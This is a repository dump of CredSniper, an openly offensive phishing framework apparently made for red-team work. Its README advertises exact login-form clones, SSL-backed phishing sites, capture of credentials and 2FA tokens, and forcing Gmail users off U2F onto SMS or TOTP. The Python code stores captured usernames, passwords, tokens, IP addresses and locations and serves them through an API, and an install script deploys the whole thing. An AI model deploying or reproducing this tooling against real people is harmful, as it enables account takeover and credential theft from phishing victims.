├── .gitignore ├── LICENSE ├── README.md ├── api.py ├── core ├── __init__.py ├── base_module.py ├── config.py ├── functions.py └── output.py ├── credsniper.py ├── install.sh ├── modules ├── __init__.py ├── example │ ├── __init__.py │ ├── example.py │ └── templates │ │ ├── login.html │ │ └── twofactor.html ├── github │ ├── README.md │ ├── __init__.py │ ├── github.py │ └── templates │ │ ├── login.html │ │ └── twofactor.html └── gmail │ ├── __init__.py │ ├── gmail.py │ └── templates │ ├── authenticator.html │ ├── error.html │ ├── login.html │ ├── password.html │ ├── sms.html │ └── touchscreen.html ├── requirements.txt └── screenshots ├── gmail_authenticator.png ├── gmail_login.png ├── gmail_password.png ├── gmail_sms.png └── gmail_touch.png /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | venv 3 | .cache 4 | .sniped 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2017 ustayready 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CredSniper 2 | ================== 3 | - [Overview](#overview) 4 | - [Benefits](#benefits) 5 | - [Basic Usage](#basic-usage) 6 | - [Installation](#installation) 7 | - [Screenshots](#screenshots) 8 | - [Gmail Module](#gmail-module) 9 | - [Maintainer](#maintainer) 10 | - [Contributing](#contributing) 11 | 12 | ## Overview ## 13 | Easily launch a new phishing site fully presented with SSL and capture credentials along with 2FA tokens using CredSniper. The API provides secure access to the currently captured credentials which can be consumed by other applications using a randomly generated API token. 14 | 15 | **Brought to you by:** 16 | 17 | ![Black Hills Information Security](https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L-300x300.png "Black Hills Information Security") 18 | 19 | ### Benefits ## 20 | 21 | * Fully supported SSL via Let's Encrypt 22 | * Exact login form clones for realistic phishing 23 | * Any number of intermediate pages 24 | * (i.e. Gmail login, password and two-factor pages then a redirect) 25 | * Supports phishing 2FA tokens 26 | * API for integrating credentials into other applications 27 | * Easy to personalize using a templating framework 28 | 29 | ## Basic Usage ## 30 | usage: **credsniper.py** [-h] --module MODULE [--twofactor] [--port PORT] [--ssl] 31 | [--verbose] --final FINAL --hostname HOSTNAME 32 | ``` 33 | optional arguments: 34 | -h, --help show this help message and exit 35 | --module MODULE phishing module name - for example, "gmail" 36 | --twofactor enable two-factor phishing 37 | --port PORT listening port (default: 80/443) 38 | --ssl use SSL via Let's Encrypt 39 | --verbose enable verbose output 40 | --final FINAL final url the user is redirected to after phishing is done 41 | --hostname HOSTNAME hostname for SSL 42 | ``` 43 | ### Credentials 44 | **.cache** : Temporarily store username/password when phishing 2FA 45 | 46 | **.sniped** : Flat-file storage for captured credentials and other information 47 | 48 | ### API End-point 49 | * View Credentials (GET) 50 | `https:///creds/view?api_token=` 51 | 52 | * Mark Credential as Seen (GET) 53 | `https:///creds/seen/?api_token=` 54 | 55 | * Update Configuration (POST) 56 | `https:///config` 57 | ``` 58 | { 59 | 'enable_2fa': true, 60 | 'module': 'gmail', 61 | 'api_token': 'some-random-string' 62 | } 63 | ``` 64 | ### Modules 65 | All modules can be loaded by passing the `--module ` command to CredSniper. These are loaded from a directory inside `/modules`. CredSniper is built using [Python Flask](http://flask.pocoo.org/) and all the module HTML templates are rendered using [Jinja2](http://jinja.pocoo.org/docs/2.9/). 66 | 67 | * **Gmail**: The latest Gmail login cloned and customized to trigger/phish all forms of 2FA 68 | * **modules/gmail/gmail.py**: Main module loaded w/ --module gmail 69 | * **modules/gmail/templates/error.html**: Error page for 404's 70 | * **modules/gmail/templates/login.html**: Gmail Login Page 71 | * **modules/gmail/templates/password.html**: Gmail Password Page 72 | * **modules/gmail/templates/authenticator.html**: Google Authenticator 2FA page 73 | * **modules/gmail/templates/sms.html**: SMS 2FA page 74 | * **modules/gmail/templates/touchscreen.html**: Phone Prompt 2FA page 75 | 76 | **GMAIL UPDATE:** Google requires a backup form of 2FA when using U2F. Bypassing U2F is possible by forcing one of the fall-back options instead of prompting the user to use their U2F device. CredSniper attempts to force SMS if it's available otherwise it forces TOTP. For security savvy victims, they may be weary if they are prompted for the SMS or TOTP token instead of their U2F device. 77 | 78 | * **Example**: An example module that demonstrates standard phishing w/ 2FA tokens 79 | * **modules/example/example.py**: Main module loaded w/ --module example 80 | * **modules/example/templates/login.html**: Standard login form 81 | * **modules/example/templates/twofactor.html**: Standard 2FA token form 82 | 83 | ## Installation ## 84 | 85 | ### Ubuntu 16.04 86 | 87 | You can install and run automatically with the following command: 88 | 89 | ```bash 90 | $ git clone https://github.com/ustayready/CredSniper 91 | $ cd CredSniper 92 | ~/CredSniper$ ./install.sh 93 | ``` 94 | 95 | Then, to run manually use the following commands: 96 | 97 | ```bash 98 | ~/$ cd CredSniper 99 | ~/CredSniper$ source bin/activate 100 | (CredSniper) ~/CredSniper$ python credsniper.py --help 101 | ``` 102 | 103 | Note that Python 3 is required. 104 | 105 | 106 | ## Screenshots 107 | ### Gmail Module 108 | ![GmailLogin](https://raw.githubusercontent.com/ustayready/CredSniper/master/screenshots/gmail_login.png "GmailLogin") 109 | 110 | ![GmailPassword](https://raw.githubusercontent.com/ustayready/CredSniper/master/screenshots/gmail_password.png "GmailPassword") 111 | 112 | ![GmailSMS](https://raw.githubusercontent.com/ustayready/CredSniper/master/screenshots/gmail_sms.png "GmailSMS") 113 | 114 | ![GmailAuthenticator](https://raw.githubusercontent.com/ustayready/CredSniper/master/screenshots/gmail_authenticator.png "GmailAuthenticator") 115 | 116 | ![GmailTouch](https://raw.githubusercontent.com/ustayready/CredSniper/master/screenshots/gmail_touch.png "GmailTouch") 117 | 118 | ## Maintainer 119 | - CredSniper was originally created by [Mike Felch](https://github.com/ustayready) ([@ustayready](https://twitter.com/ustayready)) 120 | 121 | ## Contributing 122 | 123 | 1. Create an issue to discuss your idea 124 | 2. Fork CredSniper (https://github.com/ustayready/CredSniper/fork) 125 | 3. Create your feature branch (`git checkout -b my-new-feature`) 126 | 4. Commit your changes (`git commit -am 'Add some feature'`) 127 | 5. Push to the branch (`git push origin my-new-feature`) 128 | 6. Create a new Pull Request 129 | 130 | **Bug reports, feature requests and patches are welcome.** 131 | 132 | [![Analytics](https://ga-beacon.appspot.com/UA-109055908-1/CredSniper/Readme)](https://github.com/ustayready/CredSniper) 133 | -------------------------------------------------------------------------------- /api.py: -------------------------------------------------------------------------------- 1 | from flask import jsonify, redirect, request, abort 2 | from core import functions 3 | from hmac import compare_digest 4 | 5 | class CredSniperAPI(): 6 | def __init__(self, token): 7 | self.name = 'api' 8 | self.api_token = token 9 | self.module_name = None 10 | self.enable_2fa = None 11 | self.creds = None 12 | self.seen = set() 13 | self.routes = [ 14 | { 'name': 'config', 'url': '/config' }, 15 | { 'name': 'creds_view', 'url': '/creds/view' }, 16 | { 'name': 'creds_seen', 'url': '/creds/seen/' }, 17 | { 'name': 'creds_2fa', 'url': '/creds/2fa//' }, 18 | ] 19 | 20 | 21 | def authenticate(self, request): 22 | token = request.args.get('api_token') 23 | if not token or not compare_digest(token, self.api_token): 24 | abort(401, {'message': 'Invalid API token'}) 25 | 26 | 27 | def config(self): 28 | self.authenticate(request) 29 | if request.method == 'POST': 30 | enable_2fa = request.form['enable_2fa'] 31 | set_module = request.form['module'] 32 | set_token = request.form['api_token'] 33 | 34 | if enable_2fa: 35 | self.enable_2fa = True if enable_2fa.lower() == 'true' else False 36 | if set_module: 37 | self.module_name = set_module 38 | if set_token: 39 | self.api_token = set_token 40 | 41 | return jsonify({'success': True}) 42 | elif request.method == 'GET': 43 | config = { 44 | 'enable_2fa': self.enable_2fa, 45 | 'module': self.module_name, 46 | 'api_token': self.api_token 47 | } 48 | return jsonify(config) 49 | 50 | 51 | def creds_view(self): 52 | self.authenticate(request) 53 | self.creds = functions.reload_creds(self.seen) 54 | return jsonify(self.creds) 55 | 56 | 57 | def creds_seen(self, cred_id): 58 | self.authenticate(request) 59 | self.seen.add(cred_id) 60 | self.creds = functions.reload_creds(self.seen) 61 | return jsonify(list(self.seen)) 62 | 63 | 64 | def creds_2fa(self, user,password): 65 | self.authenticate(request) 66 | response = {'success': True,'user': user} 67 | return jsonify(response) 68 | 69 | 70 | def load(api_token): 71 | return CredSniperAPI(api_token) 72 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustayready/CredSniper/f52461bff24dad2b0c81ce0bc02baa7124d0d54b/core/__init__.py -------------------------------------------------------------------------------- /core/base_module.py: -------------------------------------------------------------------------------- 1 | class BaseModule(object): 2 | def __init__(self, enable_2fa=False): 3 | self.env = None 4 | self.name = None 5 | self.user = None 6 | self.password = None 7 | self.two_factor_token = None 8 | self.two_factor_type = None 9 | self.enable_2fa = None 10 | self.final_url = None 11 | self.routes = [] 12 | 13 | 14 | def set_name(self, name): 15 | '''Set the name of the module, it will be used during the import process.''' 16 | self.name = name 17 | 18 | def enable_two_factor(self, enabled): 19 | '''Enable checking 2FA within the module''' 20 | self.enable_2fa = enabled 21 | 22 | 23 | def set_two_factor(self, two_factor_token, two_factor_type): 24 | '''Sets the two factor information after triggering an authenticated login using the credentials.''' 25 | self.two_factor_token = two_factor_token 26 | self.two_factor_type = two_factor_type 27 | 28 | 29 | def set_creds(self, user, password): 30 | '''Sets the username and password after capturing them from the phishing page. ''' 31 | self.user = user 32 | self.password = password 33 | 34 | 35 | def add_route(self, name, url): 36 | '''Add a route to the module for each templated page. Each route name will reference a function in the module and the url will correspond to the URI path of the URL. (i.e. name: Authenticate, url: /authenticate) 37 | ''' 38 | route = {} 39 | route['name'] = name 40 | route['url'] = url 41 | self.routes.append(route) 42 | -------------------------------------------------------------------------------- /core/config.py: -------------------------------------------------------------------------------- 1 | class Config(): 2 | def __init__(self): 3 | self.api_token = None 4 | self.module_name = None 5 | self.port = None 6 | self.enable_2fa = None 7 | self.creds = None 8 | self.seen = set() 9 | self.verbose = False 10 | -------------------------------------------------------------------------------- /core/functions.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import uuid 4 | 5 | from core import output 6 | 7 | def generate_token(size=32): 8 | return ''.join(random.SystemRandom().choice( 9 | string.ascii_lowercase + string.ascii_uppercase + string.digits 10 | ) for _ in range(size) 11 | ) 12 | 13 | 14 | def store_creds( 15 | module, 16 | user, 17 | password, 18 | two_factor_token, 19 | two_factor_type, 20 | remote_addr, 21 | city, 22 | region, 23 | zip_code 24 | ): 25 | try: 26 | with open('.sniped','a') as fh: 27 | cred_id = str(uuid.uuid4()) 28 | fh.write('{},{},{},{},{},{},{},{},{},{}\n'.format( 29 | cred_id, 30 | module, 31 | user, 32 | password, 33 | two_factor_token, 34 | two_factor_type, 35 | remote_addr, 36 | city, 37 | region, 38 | zip_code 39 | )) 40 | except Exception as ex: 41 | output.exception(ex) 42 | 43 | 44 | def cache_creds(module, username, password): 45 | try: 46 | with open('.cache','a+') as fh: 47 | if username and password: 48 | fh.write('{},{},{}\n'.format(module, username, password)) 49 | except Exception as ex: 50 | output.exception(ex) 51 | 52 | 53 | def reload_creds(seen): 54 | creds = {'creds': []} 55 | try: 56 | with open('.sniped','r') as fh: 57 | for cred in fh.read().split('\n'): 58 | if len(cred) >= 3: 59 | cl = cred.split(',') 60 | cred_id = cl[0] 61 | module = cl[1] 62 | user = cl[2] 63 | password = cl[3] 64 | two_factor_token = cl[4] 65 | two_factor_type = cl[5] 66 | ip_address = cl[6] 67 | city = cl[7] 68 | region = cl[8] 69 | zip_code = cl[9] 70 | 71 | add_cred = { 72 | 'cred_id': cred_id, 73 | 'module': module, 74 | 'username': user, 75 | 'password': password, 76 | 'two_factor_token': two_factor_token, 77 | 'two_factor_type': two_factor_type, 78 | 'seen': True if cred_id in seen else False, 79 | 'ip_address': ip_address, 80 | 'city': city, 81 | 'region': region, 82 | 'zip_code': zip_code 83 | } 84 | creds['creds'].append(add_cred) 85 | except Exception as ex: 86 | output.exception(ex) 87 | 88 | return creds 89 | -------------------------------------------------------------------------------- /core/output.py: -------------------------------------------------------------------------------- 1 | 2 | class Colors(object): 3 | N = '\033[m' # native 4 | R = '\033[31m' # red 5 | G = '\033[32m' # green 6 | O = '\033[33m' # orange 7 | B = '\033[34m' # blue 8 | 9 | def exception(message): 10 | print("{r}[!]{n} {message}".format(message=message, r=Colors.R, n=Colors.N)) 11 | 12 | def information(message): 13 | print('{b}[*]{n} {message}'.format(b=Colors.B, n=Colors.N, message=message)) 14 | 15 | 16 | def print_banner(): 17 | print(''' 18 | .......................................... 19 | .......................................... 20 | ..........M............................... 21 | ........N......................... .Z..... 22 | .......M.......... M++M..........MMMN..... 23 | ......MMMM......M?======$M .....MMDM...... 24 | .....,...MMD.MM=====IM=====MM M.......... 25 | ....D .....M=======M..8=======M .......... 26 | ...M ....M====+===+...DMM==NM===M......... 27 | ... .....M==+..MM. ..MMMMMM.MM==M......... 28 | ..Z......M==M..MMM..NMMMMMMN.MM=M......... 29 | .........M=M MMMMM..MMMMMMMMMMMMM......... 30 | .........MMMMMMMMMMMMMMMMMMMMMMMM......... 31 | ....... .MMMMMMMMMMMMMMMMMMMMMMMM......... 32 | .........MMMM BLACK HILLS MMMM......... 33 | .........MMMM INFOSEC MMMM......... 34 | ..........MMMMMMMMMMMMMMMMMMMMMM ......... 35 | ...........MMMM,M+IOM=MO=MMNMMMMM......... 36 | ....... M:. ..MMMMMMMMMMMMMM....MM$....... 37 | ......MM........+MMMMMMMM.........MM ..... 38 | ...................MMMM................... 39 | .......................................... 40 | .......................................... 41 | .......................................... 42 | ''') 43 | information('CredSniper v1 - Mike Felch (@ustayready)') 44 | -------------------------------------------------------------------------------- /credsniper.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, jsonify, request, abort, Response 2 | from jinja2 import Environment, PackageLoader, select_autoescape 3 | from core import config, functions, output 4 | import os, importlib, argparse, time 5 | 6 | class CredSniper(): 7 | def __init__(self): 8 | self.api = None 9 | self.module = None 10 | self.module_name = None 11 | self.final_url = None 12 | self.port = None 13 | self.enable_2fa = None 14 | self.seen = set() 15 | self.verbose = False 16 | self.hostname = None 17 | 18 | #app = Flask( 19 | #__name__, 20 | #static_url_path='/modules/{}/templates/'.format(self.module_name) 21 | #) 22 | 23 | self.validate_args() 24 | self.prepare_storage() 25 | self.prepare_module() 26 | self.prepare_api() 27 | 28 | # TODO: Move parameters to a config for sharing 29 | self.config = config.Config() 30 | 31 | 32 | def prepare_module(self): 33 | package = 'modules/{}/templates'.format(self.module_name) 34 | env = Environment( 35 | loader=PackageLoader('credsniper', package), 36 | autoescape=select_autoescape(['html', 'xml']) 37 | ) 38 | module_path = 'modules.{}.{}'.format(self.module_name, self.module_name) 39 | self.module = importlib.import_module(module_path).load(self.enable_2fa) 40 | self.module.env = env 41 | self.module.final_url = self.final_url 42 | 43 | for route in self.module.routes: 44 | name = route['name'] 45 | url = route['url'] 46 | route_method = getattr(self.module, name) 47 | methods = ['GET','POST'] 48 | app.add_url_rule(url, name, route_method, methods = methods) 49 | 50 | 51 | def prepare_api(self): 52 | package = 'api.py' 53 | env = Environment( 54 | loader=PackageLoader('credsniper', package), 55 | autoescape=select_autoescape(['html', 'xml']) 56 | ) 57 | token = functions.generate_token() 58 | self.api = importlib.import_module('api').load(token) 59 | self.api.seen = self.seen 60 | self.api.creds = functions.reload_creds(self.api.seen) 61 | self.api.module_name = self.module_name 62 | self.api.enable_2fa = self.enable_2fa 63 | self.api.verbose = self.verbose 64 | 65 | for route in self.api.routes: 66 | name = route['name'] 67 | url = route['url'] 68 | route_method = getattr(self.api, name) 69 | 70 | methods = None 71 | if name == 'config': 72 | methods = ['GET', 'POST'] 73 | 74 | app.add_url_rule(url, name, route_method, methods=methods) 75 | 76 | 77 | def validate_args(self): 78 | parser = argparse.ArgumentParser() 79 | parser.add_argument('--module', help='phishing module', required=True) 80 | parser.add_argument('--twofactor', help='enable two-factor phishing', 81 | default=False, action='store_true') 82 | parser.add_argument('--port', help='listening port (default: 80/443)', 83 | type=int, default=80) 84 | parser.add_argument('--ssl', help='use SSL via Let\'s Encrypt', 85 | action='store_true', default=False) 86 | parser.add_argument('--verbose', help='verbose output', 87 | action='store_true') 88 | parser.add_argument('--final', help='final url destination', required=True) 89 | parser.add_argument('--hostname', help='hostname for SSL', required=True) 90 | 91 | args = parser.parse_args() 92 | self.verbose = args.verbose 93 | self.port = args.port 94 | self.enable_ssl = args.ssl 95 | self.enable_2fa = args.twofactor 96 | self.module_name = args.module 97 | self.final_url = args.final 98 | self.hostname = args.hostname 99 | 100 | if self.enable_ssl and self.port == 80: 101 | self.port = 443 102 | 103 | 104 | def prepare_storage(self): 105 | if not os.path.exists('.cache'): 106 | os.mknod('.cache') 107 | if not os.path.exists('.sniped'): 108 | os.mknod('.sniped') 109 | 110 | 111 | # TODO move this to output.py (needs some way to access config) 112 | def verbose_print(self, message): 113 | if self.verbose: 114 | dt = time.strftime('%Y-%m-%d %H:%M') 115 | print('[{}] {}'.format(dt, message)) 116 | 117 | app = Flask(__name__) 118 | cs = CredSniper() 119 | 120 | @app.errorhandler(401) 121 | def custom_401(error): 122 | return jsonify({'message': error.description['message']}), 401 123 | 124 | if __name__ == "__main__": 125 | output.print_banner() 126 | cs.verbose_print('Module: {}'.format(cs.module_name)) 127 | cs.verbose_print('Port: {}'.format(cs.port)) 128 | cs.verbose_print('Use SSL: {}'.format(cs.enable_ssl)) 129 | cs.verbose_print('2FA Enabled: {}'.format(cs.enable_2fa)) 130 | cs.verbose_print('API: Loaded') 131 | cs.verbose_print('API Token: {}'.format(cs.api.api_token)) 132 | cs.verbose_print('Final URL: {}'.format(cs.final_url)) 133 | cs.verbose_print('Hostname: {}'.format(cs.hostname)) 134 | 135 | if cs.enable_ssl: 136 | context = ( 137 | 'certs/{}.cert.pem'.format(cs.hostname), 138 | 'certs/{}.privkey.pem'.format(cs.hostname) 139 | ) 140 | else: 141 | context = None 142 | 143 | try: 144 | app.run( 145 | host='0.0.0.0', 146 | port=cs.port, 147 | ssl_context=context 148 | ) 149 | except FileNotFoundError as e: 150 | if cs.enable_ssl: 151 | msg = "SSL certificates not found. Please ensure '{}' and '{}' exist.".format(context[0], context[1]) 152 | output.exception(msg) 153 | else: 154 | output.exception(e) 155 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | use_ssl="" 3 | host_name="" 4 | use_twofactor="" 5 | module="" 6 | port="" 7 | final="" 8 | ssl="" 9 | twofactor="" 10 | 11 | read -r -p "Module to deploy (ex: gmail)? " module 12 | 13 | if [[ -z "$module" ]] ; then 14 | # Exits if no module selected 15 | echo "No module selected, exiting..." 16 | exit 17 | fi 18 | 19 | read -r -p "Final redirect URL: " final 20 | 21 | if [[ -z "$final" ]] ; then 22 | # Exits if no final destination URL is set 23 | echo "No final destination URL set, exiting..." 24 | exit 25 | fi 26 | 27 | read -r -p "Enable SSL? [Y/n] " use_ssl 28 | read -r -p "Enable two-factor phishing? [Y/n] " use_twofactor 29 | read -r -p "Enter hostname for certificates (ex: app.example.com): " host_name 30 | read -r -p "Port to listen on (default: 80/443)? " port 31 | 32 | if [[ -z "$use_ssl" ]] ; then 33 | # Sets default answer for SSL to 'Yes' 34 | use_ssl='Y' 35 | ssl='--ssl' 36 | fi 37 | 38 | case "$use_ssl" in 39 | # Sets SSL flag for credsniper 40 | [yY][eE][sS]|[yY]) 41 | ssl='--ssl' 42 | ;; 43 | *) 44 | ;; 45 | esac 46 | 47 | if [[ -z "$host_name" ]] ; then 48 | # Sets default answer for hostname to the local hostname 49 | host_name=$(hostname) 50 | fi 51 | 52 | if [[ -z "$use_twofactor" ]] ; then 53 | # Sets default answer for 2FA to 'Yes' 54 | use_twofactor='Y' 55 | twofactor='--twofactor' 56 | fi 57 | 58 | case "$use_twofactor" in 59 | [yY][eE][sS]|[yY]) 60 | twofactor='--twofactor' 61 | ;; 62 | *) 63 | ;; 64 | esac 65 | 66 | if [[ -z "$port" ]] ; then 67 | # Sets default answer for port to 80 or 443 68 | case "$use_twofactor" in 69 | [yY][eE][sS]|[yY]) 70 | port=443 71 | ;; 72 | [nN][oO]|[nN]) 73 | port=80 74 | ;; 75 | *) 76 | ;; 77 | esac 78 | fi 79 | 80 | echo "" 81 | echo "[*] Preparing environment..." 82 | echo "[*] SSL Enabled: $use_ssl" 83 | echo "[*] Hostname: $host_name" 84 | echo "[*] Two-factor: $use_twofactor" 85 | echo "[*] Loading Module: $module" 86 | echo "[*] Port: $port" 87 | echo "[*] Destination URL: $final" 88 | echo "[*] Starting credsniper w/ flags: $ssl $twofactor --verbose" 89 | 90 | echo "[*] Adding Let's Encypt repository..." 91 | sudo add-apt-repository ppa:certbot/certbot -y; 92 | 93 | echo "[*] Updating Apt..." 94 | sudo apt-get -qq update; 95 | 96 | echo "[*] Installing pre-reqs..." 97 | sudo apt-get -qq --assume-yes install python3 virtualenv gnupg certbot; 98 | 99 | echo "[*] Creating & activating virtual environment..." 100 | if [ ! -f ./bin/python ]; then 101 | /usr/bin/virtualenv -qq -p python3 . 102 | fi 103 | 104 | echo "[*] Enabling port binding for Python..." 105 | python_path=$(readlink -f ./bin/python) 106 | sudo setcap CAP_NET_BIND_SERVICE=+eip $python_path; 107 | 108 | echo "[*] Installing required Python modules..." 109 | source ./bin/activate; yes | pip -qq install flask mechanicalsoup pyopenssl 110 | 111 | case "$use_twofactor" in 112 | [yY][eE][sS]|[yY]) 113 | echo "[*] Creating & installing SSL certificates..." 114 | sudo mkdir -p ./certs 115 | sudo certbot certonly --standalone --preferred-challenges http -d $host_name 116 | sudo cp /etc/letsencrypt/live/$host_name/privkey.pem certs/$host_name.privkey.pem 117 | sudo cp /etc/letsencrypt/live/$host_name/cert.pem certs/$host_name.cert.pem 118 | export owner=$(ls -ld . | awk '{print $3}') 119 | sudo chown -R $owner:$owner ./certs/ 120 | ;; 121 | *) 122 | ;; 123 | esac 124 | 125 | echo 